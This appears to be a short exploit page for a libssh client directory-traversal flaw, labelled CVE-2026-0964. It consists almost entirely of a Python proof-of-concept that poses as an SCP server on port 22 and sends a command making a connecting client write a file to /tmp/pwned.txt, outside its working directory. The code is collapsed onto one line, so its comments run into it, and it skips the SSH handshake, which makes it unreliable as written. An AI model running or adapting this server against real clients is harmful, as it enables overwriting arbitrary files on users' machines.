CVE-2026-0964 libssh客户端目录遍历漏洞

import socket import threading # Simple PoC to simulate a malicious SCP server exploiting CVE-2026-0964 # It sends a malicious path to overwrite a file outside the working directory. def handle_client(client_socket): try: # Initial SCP protocol interaction (simplified) client_socket.send(b"\x00") # Sink stream # Send command to write to a file outside CWD (e.g., /tmp/pwned.txt) # C0644 indicates permissions and size, followed by the path malicious_path = b"/tmp/pwned.txt" command = b"C0644 10 " + malicious_path + b"\n" client_socket.send(command) # Send file content client_socket.send(b"VULNERABLE") # End of file client_socket.send(b"\x00") except Exception as e: print(f"Error: {e}") finally: client_socket.close() def start_server(host='0.0.0.0', port=22): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(5) print(f"[+] Malicious SCP server listening on {port}...") while True: client, addr = server.accept() print(f"[+] Connection from {addr}") client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start() if __name__ == "__main__": start_server()